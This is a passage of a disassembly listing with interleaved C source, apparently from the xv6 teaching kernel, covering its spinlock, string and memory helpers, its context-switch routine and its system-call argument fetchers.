$0x2,%ah 8010438b: 75 35 jne 801043c2 <popcli+0x42> panic("popcli - interruptible"); if(--mycpu()->ncli < 0) 8010438d: e8 ae f3 ff ff call 80103740 <mycpu> 80104392: 83 a8 a4 00 00 00 01 subl $0x1,0xa4(%eax) 80104399: 78 34 js 801043cf <popcli+0x4f> panic("popcli"); if(mycpu()->ncli == 0 && mycpu()->intena) 8010439b: e8 a0 f3 ff ff call 80103740 <mycpu> 801043a0: 8b 90 a4 00 00 00 mov 0xa4(%eax),%edx 801043a6: 85 d2 test %edx,%edx 801043a8: 74 06 je 801043b0 <popcli+0x30> sti(); } 801043aa: c9 leave 801043ab: c3 ret 801043ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(mycpu()->ncli == 0 && mycpu()->intena) 801043b0: e8 8b f3 ff ff call 80103740 <mycpu> 801043b5: 8b 80 a8 00 00 00 mov 0xa8(%eax),%eax 801043bb: 85 c0 test %eax,%eax 801043bd: 74 eb je 801043aa <popcli+0x2a> asm volatile("sti"); 801043bf: fb sti } 801043c0: c9 leave 801043c1: c3 ret panic("popcli - interruptible"); 801043c2: 83 ec 0c sub $0xc,%esp 801043c5: 68 bb 76 10 80 push $0x801076bb 801043ca: e8 c1 bf ff ff call 80100390 <panic> panic("popcli"); 801043cf: 83 ec 0c sub $0xc,%esp 801043d2: 68 d2 76 10 80 push $0x801076d2 801043d7: e8 b4 bf ff ff call 80100390 <panic> 801043dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801043e0 <holding>: { 801043e0: 55 push %ebp 801043e1: 89 e5 mov %esp,%ebp 801043e3: 56 push %esi 801043e4: 53 push %ebx 801043e5: 8b 75 08 mov 0x8(%ebp),%esi 801043e8: 31 db xor %ebx,%ebx pushcli(); 801043ea: e8 51 ff ff ff call 80104340 <pushcli> r = lock->locked && lock->cpu == mycpu(); 801043ef: 8b 06 mov (%esi),%eax 801043f1: 85 c0 test %eax,%eax 801043f3: 74 10 je 80104405 <holding+0x25> 801043f5: 8b 5e 08 mov 0x8(%esi),%ebx 801043f8: e8 43 f3 ff ff call 80103740 <mycpu> 801043fd: 39 c3 cmp %eax,%ebx 801043ff: 0f 94 c3 sete %bl 80104402: 0f b6 db movzbl %bl,%ebx popcli(); 80104405: e8 76 ff ff ff call 80104380 <popcli> } 8010440a: 89 d8 mov %ebx,%eax 8010440c: 5b pop %ebx 8010440d: 5e pop %esi 8010440e: 5d pop %ebp 8010440f: c3 ret 80104410 <acquire>: { 80104410: 55 push %ebp 80104411: 89 e5 mov %esp,%ebp 80104413: 56 push %esi 80104414: 53 push %ebx pushcli(); // disable interrupts to avoid deadlock. 80104415: e8 26 ff ff ff call 80104340 <pushcli> if(holding(lk)) 8010441a: 8b 5d 08 mov 0x8(%ebp),%ebx 8010441d: 83 ec 0c sub $0xc,%esp 80104420: 53 push %ebx 80104421: e8 ba ff ff ff call 801043e0 <holding> 80104426: 83 c4 10 add $0x10,%esp 80104429: 85 c0 test %eax,%eax 8010442b: 0f 85 83 00 00 00 jne 801044b4 <acquire+0xa4> 80104431: 89 c6 mov %eax,%esi asm volatile("lock; xchgl %0, %1" : 80104433: ba 01 00 00 00 mov $0x1,%edx 80104438: eb 09 jmp 80104443 <acquire+0x33> 8010443a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104440: 8b 5d 08 mov 0x8(%ebp),%ebx 80104443: 89 d0 mov %edx,%eax 80104445: f0 87 03 lock xchg %eax,(%ebx) while(xchg(&lk->locked, 1) != 0) 80104448: 85 c0 test %eax,%eax 8010444a: 75 f4 jne 80104440 <acquire+0x30> __sync_synchronize(); 8010444c: f0 83 0c 24 00 lock orl $0x0,(%esp) lk->cpu = mycpu(); 80104451: 8b 5d 08 mov 0x8(%ebp),%ebx 80104454: e8 e7 f2 ff ff call 80103740 <mycpu> getcallerpcs(&lk, lk->pcs); 80104459: 8d 53 0c lea 0xc(%ebx),%edx lk->cpu = mycpu(); 8010445c: 89 43 08 mov %eax,0x8(%ebx) ebp = (uint*)v - 2; 8010445f: 89 e8 mov %ebp,%eax 80104461: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) 80104468: 8d 88 00 00 00 80 lea -0x80000000(%eax),%ecx 8010446e: 81 f9 fe ff ff 7f cmp $0x7ffffffe,%ecx 80104474: 77 1a ja 80104490 <acquire+0x80> pcs[i] = ebp[1]; // saved %eip 80104476: 8b 48 04 mov 0x4(%eax),%ecx 80104479: 89 0c b2 mov %ecx,(%edx,%esi,4) for(i = 0; i < 10; i++){ 8010447c: 83 c6 01 add $0x1,%esi ebp = (uint*)ebp[0]; // saved %ebp 8010447f: 8b 00 mov (%eax),%eax for(i = 0; i < 10; i++){ 80104481: 83 fe 0a cmp $0xa,%esi 80104484: 75 e2 jne 80104468 <acquire+0x58> } 80104486: 8d 65 f8 lea -0x8(%ebp),%esp 80104489: 5b pop %ebx 8010448a: 5e pop %esi 8010448b: 5d pop %ebp 8010448c: c3 ret 8010448d: 8d 76 00 lea 0x0(%esi),%esi 80104490: 8d 04 b2 lea (%edx,%esi,4),%eax 80104493: 83 c2 28 add $0x28,%edx 80104496: 8d 76 00 lea 0x0(%esi),%esi 80104499: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi pcs[i] = 0; 801044a0: c7 00 00 00 00 00 movl $0x0,(%eax) 801044a6: 83 c0 04 add $0x4,%eax for(; i < 10; i++) 801044a9: 39 d0 cmp %edx,%eax 801044ab: 75 f3 jne 801044a0 <acquire+0x90> } 801044ad: 8d 65 f8 lea -0x8(%ebp),%esp 801044b0: 5b pop %ebx 801044b1: 5e pop %esi 801044b2: 5d pop %ebp 801044b3: c3 ret panic("acquire"); 801044b4: 83 ec 0c sub $0xc,%esp 801044b7: 68 d9 76 10 80 push $0x801076d9 801044bc: e8 cf be ff ff call 80100390 <panic> 801044c1: eb 0d jmp 801044d0 <release> 801044c3: 90 nop 801044c4: 90 nop 801044c5: 90 nop 801044c6: 90 nop 801044c7: 90 nop 801044c8: 90 nop 801044c9: 90 nop 801044ca: 90 nop 801044cb: 90 nop 801044cc: 90 nop 801044cd: 90 nop 801044ce: 90 nop 801044cf: 90 nop 801044d0 <release>: { 801044d0: 55 push %ebp 801044d1: 89 e5 mov %esp,%ebp 801044d3: 53 push %ebx 801044d4: 83 ec 10 sub $0x10,%esp 801044d7: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holding(lk)) 801044da: 53 push %ebx 801044db: e8 00 ff ff ff call 801043e0 <holding> 801044e0: 83 c4 10 add $0x10,%esp 801044e3: 85 c0 test %eax,%eax 801044e5: 74 22 je 80104509 <release+0x39> lk->pcs[0] = 0; 801044e7: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) lk->cpu = 0; 801044ee: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) __sync_synchronize(); 801044f5: f0 83 0c 24 00 lock orl $0x0,(%esp) asm volatile("movl $0, %0" : "+m" (lk->locked) : ); 801044fa: c7 03 00 00 00 00 movl $0x0,(%ebx) } 80104500: 8b 5d fc mov -0x4(%ebp),%ebx 80104503: c9 leave popcli(); 80104504: e9 77 fe ff ff jmp 80104380 <popcli> panic("release"); 80104509: 83 ec 0c sub $0xc,%esp 8010450c: 68 e1 76 10 80 push $0x801076e1 80104511: e8 7a be ff ff call 80100390 <panic> 80104516: 66 90 xchg %ax,%ax 80104518: 66 90 xchg %ax,%ax 8010451a: 66 90 xchg %ax,%ax 8010451c: 66 90 xchg %ax,%ax 8010451e: 66 90 xchg %ax,%ax 80104520 <memset>: #include "types.h" #include "x86.h" void* memset(void *dst, int c, uint n) { 80104520: 55 push %ebp 80104521: 89 e5 mov %esp,%ebp 80104523: 57 push %edi 80104524: 53 push %ebx 80104525: 8b 55 08 mov 0x8(%ebp),%edx 80104528: 8b 4d 10 mov 0x10(%ebp),%ecx if ((int)dst%4 == 0 && n%4 == 0){ 8010452b: f6 c2 03 test $0x3,%dl 8010452e: 75 05 jne 80104535 <memset+0x15> 80104530: f6 c1 03 test $0x3,%cl 80104533: 74 13 je 80104548 <memset+0x28> asm volatile("cld; rep stosb" : 80104535: 89 d7 mov %edx,%edi 80104537: 8b 45 0c mov 0xc(%ebp),%eax 8010453a: fc cld 8010453b: f3 aa rep stos %al,%es:(%edi) c &= 0xFF; stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4); } else stosb(dst, c, n); return dst; } 8010453d: 5b pop %ebx 8010453e: 89 d0 mov %edx,%eax 80104540: 5f pop %edi 80104541: 5d pop %ebp 80104542: c3 ret 80104543: 90 nop 80104544: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c &= 0xFF; 80104548: 0f b6 7d 0c movzbl 0xc(%ebp),%edi stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4); 8010454c: c1 e9 02 shr $0x2,%ecx 8010454f: 89 f8 mov %edi,%eax 80104551: 89 fb mov %edi,%ebx 80104553: c1 e0 18 shl $0x18,%eax 80104556: c1 e3 10 shl $0x10,%ebx 80104559: 09 d8 or %ebx,%eax 8010455b: 09 f8 or %edi,%eax 8010455d: c1 e7 08 shl $0x8,%edi 80104560: 09 f8 or %edi,%eax asm volatile("cld; rep stosl" : 80104562: 89 d7 mov %edx,%edi 80104564: fc cld 80104565: f3 ab rep stos %eax,%es:(%edi) } 80104567: 5b pop %ebx 80104568: 89 d0 mov %edx,%eax 8010456a: 5f pop %edi 8010456b: 5d pop %ebp 8010456c: c3 ret 8010456d: 8d 76 00 lea 0x0(%esi),%esi 80104570 <memcmp>: int memcmp(const void *v1, const void *v2, uint n) { 80104570: 55 push %ebp 80104571: 89 e5 mov %esp,%ebp 80104573: 57 push %edi 80104574: 56 push %esi 80104575: 53 push %ebx 80104576: 8b 5d 10 mov 0x10(%ebp),%ebx 80104579: 8b 75 08 mov 0x8(%ebp),%esi 8010457c: 8b 7d 0c mov 0xc(%ebp),%edi const uchar *s1, *s2; s1 = v1; s2 = v2; while(n-- > 0){ 8010457f: 85 db test %ebx,%ebx 80104581: 74 29 je 801045ac <memcmp+0x3c> if(*s1 != *s2) 80104583: 0f b6 16 movzbl (%esi),%edx 80104586: 0f b6 0f movzbl (%edi),%ecx 80104589: 38 d1 cmp %dl,%cl 8010458b: 75 2b jne 801045b8 <memcmp+0x48> 8010458d: b8 01 00 00 00 mov $0x1,%eax 80104592: eb 14 jmp 801045a8 <memcmp+0x38> 80104594: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104598: 0f b6 14 06 movzbl (%esi,%eax,1),%edx 8010459c: 83 c0 01 add $0x1,%eax 8010459f: 0f b6 4c 07 ff movzbl -0x1(%edi,%eax,1),%ecx 801045a4: 38 ca cmp %cl,%dl 801045a6: 75 10 jne 801045b8 <memcmp+0x48> while(n-- > 0){ 801045a8: 39 d8 cmp %ebx,%eax 801045aa: 75 ec jne 80104598 <memcmp+0x28> return *s1 - *s2; s1++, s2++; } return 0; } 801045ac: 5b pop %ebx return 0; 801045ad: 31 c0 xor %eax,%eax } 801045af: 5e pop %esi 801045b0: 5f pop %edi 801045b1: 5d pop %ebp 801045b2: c3 ret 801045b3: 90 nop 801045b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return *s1 - *s2; 801045b8: 0f b6 c2 movzbl %dl,%eax } 801045bb: 5b pop %ebx return *s1 - *s2; 801045bc: 29 c8 sub %ecx,%eax } 801045be: 5e pop %esi 801045bf: 5f pop %edi 801045c0: 5d pop %ebp 801045c1: c3 ret 801045c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801045c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801045d0 <memmove>: void* memmove(void *dst, const void *src, uint n) { 801045d0: 55 push %ebp 801045d1: 89 e5 mov %esp,%ebp 801045d3: 56 push %esi 801045d4: 53 push %ebx 801045d5: 8b 45 08 mov 0x8(%ebp),%eax 801045d8: 8b 5d 0c mov 0xc(%ebp),%ebx 801045db: 8b 75 10 mov 0x10(%ebp),%esi const char *s; char *d; s = src; d = dst; if(s < d && s + n > d){ 801045de: 39 c3 cmp %eax,%ebx 801045e0: 73 26 jae 80104608 <memmove+0x38> 801045e2: 8d 0c 33 lea (%ebx,%esi,1),%ecx 801045e5: 39 c8 cmp %ecx,%eax 801045e7: 73 1f jae 80104608 <memmove+0x38> s += n; d += n; while(n-- > 0) 801045e9: 85 f6 test %esi,%esi 801045eb: 8d 56 ff lea -0x1(%esi),%edx 801045ee: 74 0f je 801045ff <memmove+0x2f> *--d = *--s; 801045f0: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx 801045f4: 88 0c 10 mov %cl,(%eax,%edx,1) while(n-- > 0) 801045f7: 83 ea 01 sub $0x1,%edx 801045fa: 83 fa ff cmp $0xffffffff,%edx 801045fd: 75 f1 jne 801045f0 <memmove+0x20> } else while(n-- > 0) *d++ = *s++; return dst; } 801045ff: 5b pop %ebx 80104600: 5e pop %esi 80104601: 5d pop %ebp 80104602: c3 ret 80104603: 90 nop 80104604: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while(n-- > 0) 80104608: 31 d2 xor %edx,%edx 8010460a: 85 f6 test %esi,%esi 8010460c: 74 f1 je 801045ff <memmove+0x2f> 8010460e: 66 90 xchg %ax,%ax *d++ = *s++; 80104610: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx 80104614: 88 0c 10 mov %cl,(%eax,%edx,1) 80104617: 83 c2 01 add $0x1,%edx while(n-- > 0) 8010461a: 39 d6 cmp %edx,%esi 8010461c: 75 f2 jne 80104610 <memmove+0x40> } 8010461e: 5b pop %ebx 8010461f: 5e pop %esi 80104620: 5d pop %ebp 80104621: c3 ret 80104622: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104629: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104630 <memcpy>: // memcpy exists to placate GCC. Use memmove. void* memcpy(void *dst, const void *src, uint n) { 80104630: 55 push %ebp 80104631: 89 e5 mov %esp,%ebp return memmove(dst, src, n); } 80104633: 5d pop %ebp return memmove(dst, src, n); 80104634: eb 9a jmp 801045d0 <memmove> 80104636: 8d 76 00 lea 0x0(%esi),%esi 80104639: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104640 <strncmp>: int strncmp(const char *p, const char *q, uint n) { 80104640: 55 push %ebp 80104641: 89 e5 mov %esp,%ebp 80104643: 57 push %edi 80104644: 56 push %esi 80104645: 8b 7d 10 mov 0x10(%ebp),%edi 80104648: 53 push %ebx 80104649: 8b 4d 08 mov 0x8(%ebp),%ecx 8010464c: 8b 75 0c mov 0xc(%ebp),%esi while(n > 0 && *p && *p == *q) 8010464f: 85 ff test %edi,%edi 80104651: 74 2f je 80104682 <strncmp+0x42> 80104653: 0f b6 01 movzbl (%ecx),%eax 80104656: 0f b6 1e movzbl (%esi),%ebx 80104659: 84 c0 test %al,%al 8010465b: 74 37 je 80104694 <strncmp+0x54> 8010465d: 38 c3 cmp %al,%bl 8010465f: 75 33 jne 80104694 <strncmp+0x54> 80104661: 01 f7 add %esi,%edi 80104663: eb 13 jmp 80104678 <strncmp+0x38> 80104665: 8d 76 00 lea 0x0(%esi),%esi 80104668: 0f b6 01 movzbl (%ecx),%eax 8010466b: 84 c0 test %al,%al 8010466d: 74 21 je 80104690 <strncmp+0x50> 8010466f: 0f b6 1a movzbl (%edx),%ebx 80104672: 89 d6 mov %edx,%esi 80104674: 38 d8 cmp %bl,%al 80104676: 75 1c jne 80104694 <strncmp+0x54> n--, p++, q++; 80104678: 8d 56 01 lea 0x1(%esi),%edx 8010467b: 83 c1 01 add $0x1,%ecx while(n > 0 && *p && *p == *q) 8010467e: 39 fa cmp %edi,%edx 80104680: 75 e6 jne 80104668 <strncmp+0x28> if(n == 0) return 0; return (uchar)*p - (uchar)*q; } 80104682: 5b pop %ebx return 0; 80104683: 31 c0 xor %eax,%eax } 80104685: 5e pop %esi 80104686: 5f pop %edi 80104687: 5d pop %ebp 80104688: c3 ret 80104689: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104690: 0f b6 5e 01 movzbl 0x1(%esi),%ebx return (uchar)*p - (uchar)*q; 80104694: 29 d8 sub %ebx,%eax } 80104696: 5b pop %ebx 80104697: 5e pop %esi 80104698: 5f pop %edi 80104699: 5d pop %ebp 8010469a: c3 ret 8010469b: 90 nop 8010469c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801046a0 <strncpy>: char* strncpy(char *s, const char *t, int n) { 801046a0: 55 push %ebp 801046a1: 89 e5 mov %esp,%ebp 801046a3: 56 push %esi 801046a4: 53 push %ebx 801046a5: 8b 45 08 mov 0x8(%ebp),%eax 801046a8: 8b 5d 0c mov 0xc(%ebp),%ebx 801046ab: 8b 4d 10 mov 0x10(%ebp),%ecx char *os; os = s; while(n-- > 0 && (*s++ = *t++) != 0) 801046ae: 89 c2 mov %eax,%edx 801046b0: eb 19 jmp 801046cb <strncpy+0x2b> 801046b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801046b8: 83 c3 01 add $0x1,%ebx 801046bb: 0f b6 4b ff movzbl -0x1(%ebx),%ecx 801046bf: 83 c2 01 add $0x1,%edx 801046c2: 84 c9 test %cl,%cl 801046c4: 88 4a ff mov %cl,-0x1(%edx) 801046c7: 74 09 je 801046d2 <strncpy+0x32> 801046c9: 89 f1 mov %esi,%ecx 801046cb: 85 c9 test %ecx,%ecx 801046cd: 8d 71 ff lea -0x1(%ecx),%esi 801046d0: 7f e6 jg 801046b8 <strncpy+0x18> ; while(n-- > 0) 801046d2: 31 c9 xor %ecx,%ecx 801046d4: 85 f6 test %esi,%esi 801046d6: 7e 17 jle 801046ef <strncpy+0x4f> 801046d8: 90 nop 801046d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi *s++ = 0; 801046e0: c6 04 0a 00 movb $0x0,(%edx,%ecx,1) 801046e4: 89 f3 mov %esi,%ebx 801046e6: 83 c1 01 add $0x1,%ecx 801046e9: 29 cb sub %ecx,%ebx while(n-- > 0) 801046eb: 85 db test %ebx,%ebx 801046ed: 7f f1 jg 801046e0 <strncpy+0x40> return os; } 801046ef: 5b pop %ebx 801046f0: 5e pop %esi 801046f1: 5d pop %ebp 801046f2: c3 ret 801046f3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801046f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104700 <safestrcpy>: // Like strncpy but guaranteed to NUL-terminate. char* safestrcpy(char *s, const char *t, int n) { 80104700: 55 push %ebp 80104701: 89 e5 mov %esp,%ebp 80104703: 56 push %esi 80104704: 53 push %ebx 80104705: 8b 4d 10 mov 0x10(%ebp),%ecx 80104708: 8b 45 08 mov 0x8(%ebp),%eax 8010470b: 8b 55 0c mov 0xc(%ebp),%edx char *os; os = s; if(n <= 0) 8010470e: 85 c9 test %ecx,%ecx 80104710: 7e 26 jle 80104738 <safestrcpy+0x38> 80104712: 8d 74 0a ff lea -0x1(%edx,%ecx,1),%esi 80104716: 89 c1 mov %eax,%ecx 80104718: eb 17 jmp 80104731 <safestrcpy+0x31> 8010471a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return os; while(--n > 0 && (*s++ = *t++) != 0) 80104720: 83 c2 01 add $0x1,%edx 80104723: 0f b6 5a ff movzbl -0x1(%edx),%ebx 80104727: 83 c1 01 add $0x1,%ecx 8010472a: 84 db test %bl,%bl 8010472c: 88 59 ff mov %bl,-0x1(%ecx) 8010472f: 74 04 je 80104735 <safestrcpy+0x35> 80104731: 39 f2 cmp %esi,%edx 80104733: 75 eb jne 80104720 <safestrcpy+0x20> ; *s = 0; 80104735: c6 01 00 movb $0x0,(%ecx) return os; } 80104738: 5b pop %ebx 80104739: 5e pop %esi 8010473a: 5d pop %ebp 8010473b: c3 ret 8010473c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104740 <strlen>: int strlen(const char *s) { 80104740: 55 push %ebp int n; for(n = 0; s[n]; n++) 80104741: 31 c0 xor %eax,%eax { 80104743: 89 e5 mov %esp,%ebp 80104745: 8b 55 08 mov 0x8(%ebp),%edx for(n = 0; s[n]; n++) 80104748: 80 3a 00 cmpb $0x0,(%edx) 8010474b: 74 0c je 80104759 <strlen+0x19> 8010474d: 8d 76 00 lea 0x0(%esi),%esi 80104750: 83 c0 01 add $0x1,%eax 80104753: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1) 80104757: 75 f7 jne 80104750 <strlen+0x10> ; return n; } 80104759: 5d pop %ebp 8010475a: c3 ret 8010475b <swtch>: # a struct context, and save its address in *old. # Switch stacks to new and pop previously-saved registers. .globl swtch swtch: movl 4(%esp), %eax 8010475b: 8b 44 24 04 mov 0x4(%esp),%eax movl 8(%esp), %edx 8010475f: 8b 54 24 08 mov 0x8(%esp),%edx # Save old callee-saved registers pushl %ebp 80104763: 55 push %ebp pushl %ebx 80104764: 53 push %ebx pushl %esi 80104765: 56 push %esi pushl %edi 80104766: 57 push %edi # Switch stacks movl %esp, (%eax) 80104767: 89 20 mov %esp,(%eax) movl %edx, %esp 80104769: 89 d4 mov %edx,%esp # Load new callee-saved registers popl %edi 8010476b: 5f pop %edi popl %esi 8010476c: 5e pop %esi popl %ebx 8010476d: 5b pop %ebx popl %ebp 8010476e: 5d pop %ebp ret 8010476f: c3 ret 80104770 <fetchint>: // to a saved program counter, and then the first argument. // Fetch the int at addr from the current process. int fetchint(uint addr, int *ip) { 80104770: 55 push %ebp 80104771: 89 e5 mov %esp,%ebp 80104773: 53 push %ebx 80104774: 83 ec 04 sub $0x4,%esp 80104777: 8b 5d 08 mov 0x8(%ebp),%ebx struct proc *curproc = myproc(); 8010477a: e8 61 f0 ff ff call 801037e0 <myproc> if(addr >= curproc->sz || addr+4 > curproc->sz) 8010477f: 8b 00 mov (%eax),%eax 80104781: 39 d8 cmp %ebx,%eax 80104783: 76 1b jbe 801047a0 <fetchint+0x30> 80104785: 8d 53 04 lea 0x4(%ebx),%edx 80104788: 39 d0 cmp %edx,%eax 8010478a: 72 14 jb 801047a0 <fetchint+0x30> return -1; *ip = *(int*)(addr); 8010478c: 8b 45 0c mov 0xc(%ebp),%eax 8010478f: 8b 13 mov (%ebx),%edx 80104791: 89 10 mov %edx,(%eax) return 0; 80104793: 31 c0 xor %eax,%eax } 80104795: 83 c4 04 add $0x4,%esp 80104798: 5b pop %ebx 80104799: 5d pop %ebp 8010479a: c3 ret 8010479b: 90 nop 8010479c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 801047a0: b8 ff ff ff ff mov $0xffffffff,%eax 801047a5: eb ee jmp 80104795 <fetchint+0x25> 801047a7: 89 f6 mov %esi,%esi 801047a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801047b0 <fetchstr>: // Fetch the nul-terminated string at addr from the current process. // Doesn't actually copy the string - just sets *pp to point at it. // Returns length of string, not including nul. int fetchstr(uint addr, char **pp) { 801047b0: 55 push %ebp 801047b1: 89 e5 mov %esp,%ebp 801047b3: 53 push %ebx 801047b4: 83 ec 04 sub $0x4,%esp 801047b7: 8b 5d 08 mov 0x8(%ebp),%ebx char *s, *ep; struct proc *curproc = myproc(); 801047ba: e8 21 f0 ff ff call 801037e0 <myproc> if(addr >= curproc->sz) 801047bf: 39 18 cmp %ebx,(%eax) 801047c1: 76 29 jbe 801047ec <fetchstr+0x3c> return -1; *pp = (char*)addr; 801047c3: 8b 4d 0c mov 0xc(%ebp),%ecx 801047c6: 89 da mov %ebx,%edx 801047c8: 89 19 mov %ebx,(%ecx) ep = (char*)curproc->sz; 801047ca: 8b 00 mov (%eax),%eax for(s = *pp; s < ep; s++){ 801047cc: 39 c3 cmp %eax,%ebx 801047ce: 73 1c jae 801047ec <fetchstr+0x3c> if(*s == 0) 801047d0: 80 3b 00 cmpb $0x0,(%ebx) 801047d3: 75 10 jne 801047e5 <fetchstr+0x35> 801047d5: eb 39 jmp 80104810 <fetchstr+0x60> 801047d7: 89 f6 mov %esi,%esi 801047d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801047e0: 80 3a 00 cmpb $0x0,(%edx) 801047e3: 74 1b je 80104800 <fetchstr+0x50> for(s = *pp; s < ep; s++){ 801047e5: 83 c2 01 add $0x1,%edx 801047e8: 39 d0 cmp %edx,%eax 801047ea: 77 f4 ja 801047e0 <fetchstr+0x30> return -1; 801047ec: b8 ff ff ff ff mov $0xffffffff,%eax return s - *pp; } return -1; } 801047f1: 83 c4 04 add $0x4,%esp 801047f4: 5b pop %ebx 801047f5: 5d pop %ebp 801047f6: c3 ret 801047f7: 89 f6 mov %esi,%esi 801047f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104800: 83 c4 04 add $0x4,%esp 80104803: 89 d0 mov %edx,%eax 80104805: 29 d8 sub %ebx,%eax 80104807: 5b pop %ebx 80104808: 5d pop %ebp 80104809: c3 ret 8010480a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(*s == 0) 80104810: 31 c0 xor %eax,%eax return s - *pp; 80104812: eb dd jmp 801047f1 <fetchstr+0x41> 80104814: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010481a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80104820 <argint>: // Fetch the nth 32-bit system call argument. int argint(int n, int *ip) { 80104820: 55 push %ebp 80104821: 89 e5 mov %esp,%ebp 80104823: 56 push %esi 80104824: 53 push %ebx return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); 80104825: e8 b6 ef ff ff call 801037e0 <myproc> 8010482a: 8b 40 18 mov 0x18(%eax),%eax 8010482d: 8b 55 08 mov 0x8(%ebp),%edx 80104830: 8b 40 44 mov 0x44(%eax),%eax 80104833: 8d 1c 90 lea (%eax,%edx,4),%ebx struct proc *curproc = myproc(); 80104836: e8 a5 ef ff ff call 801037e0 <myproc> if(addr >= curproc->sz || addr+4 > curproc->sz) 8010483b: 8b 00 mov (%eax),%eax return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); 8010483d: 8d 73 04 lea 0x4(%ebx),%esi if(addr >= curproc->sz || addr+4 > curproc->sz) 80104840: 39 c6 cmp %eax,%esi 80104842: 73 1c jae 80104860 <argint+0x40> 80104844: 8d 53 08 lea 0x8(%ebx),%edx 80104847: 39 d0 cmp %edx,%eax 80104849: 72 15 jb 80104860 <argint+0x40> *ip = *(int*)(addr); 8010484b: 8b 45 0c mov 0xc(%ebp),%eax 8010484e: 8b 53 04 mov 0x4(%ebx),%edx 80104851: 89 10 mov %edx,(%eax) return 0; 80104853: 31 c0 xor %eax,%eax } 80104855: 5b pop %ebx 80104856: 5e pop %esi 80104857: 5d pop %ebp 80104858: c3 ret 80104859: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80104860: b8 ff ff ff ff mov $0xffffffff,%eax return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); 80104865: eb ee jmp 80104855 <argint+0x35> 80104867: 89 f6 mov %esi,%esi 80104869: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104870 <argptr>: // Fetch the nth word-sized system call argument as a pointer // to a block of memory of size bytes. Check that the pointer // lies within the process address space. int argptr(int n, char **pp, int size) { 80104870: 55 push %ebp 80104871: 89 e5 mov %esp,%ebp 80104873: 56 push %esi 80104874: 53 push %ebx 80104875: 83 ec 10 sub $0x10,%esp 80104878: 8b 5d 10 mov 0x10(%ebp),%ebx int i; struct proc *curproc = myproc(); 8010487b: e8 60 ef ff ff call 801037e0 <myproc> 80104880: 89 c6 mov %eax,%esi if(argint(n, &i) < 0) 80104882: 8d 45 f4 lea -0xc(%ebp),%eax 80104885: 83 ec 08 sub $0x8,%esp 80104888: 50 push %eax 80104889: ff 75 08 pushl 0x8(%ebp) 8010488c: e8 8f ff ff ff call 80104820 <argint> return -1; if(size < 0 || (uint)i >= curproc->sz || (uint)i+size > curproc->sz) 80104891: 83 c4 10 add $0x10,%esp 80104894: 85 c0 test %eax,%eax 80104896: 78 28 js 801048c0 <argptr+0x50> 80104898: 85 db test %ebx,%ebx 8010489a: 78 24 js 801048c0 <argptr+0x50> 8010489c: 8b 16 mov (%esi),%edx 8010489e: 8b 45 f4 mov -0xc(%ebp),%eax 801048a1: 39 c2 cmp %eax,%edx 801048a3: 76 1b jbe 801048c0 <argptr+0x50> 801048a5: 01 c3 add %eax,%ebx 801048a7: 39 da cmp %ebx,%edx 801048a9: 72 15 jb 801048c0 <argptr+0x50> return -1; *pp = (char*)i; 801048ab: 8b 55 0c mov 0xc(%ebp),%edx 801048ae: 89 02 mov %eax,(%edx) return 0; 801048b0: 31 c0 xor %eax,%eax } 801048b2: 8d 65 f8 lea -0x8(%ebp),%esp 801048b5: 5b pop %ebx 801048b6: 5e pop %esi 801048b7: 5d pop %ebp 801048b8: c3 ret 801048b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; 801048c0: b8 ff ff ff ff mov $0xffffffff,%eax 801048c5: eb eb jmp 801048b2 <argptr+0x42> 801048c7: 89 f6 mov %esi,%esi 801048c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801048d0 <argstr>: // Check that the pointer is valid and the string is nul-terminated. // (There is no shared writable memory, so the string can't change // between this check and being used by the kernel.) int argstr(int n, char **pp) { 801048d0: 55 push %ebp 801048d1: 89 e5 mov %esp,%ebp 801048d3: 83 ec 20 sub 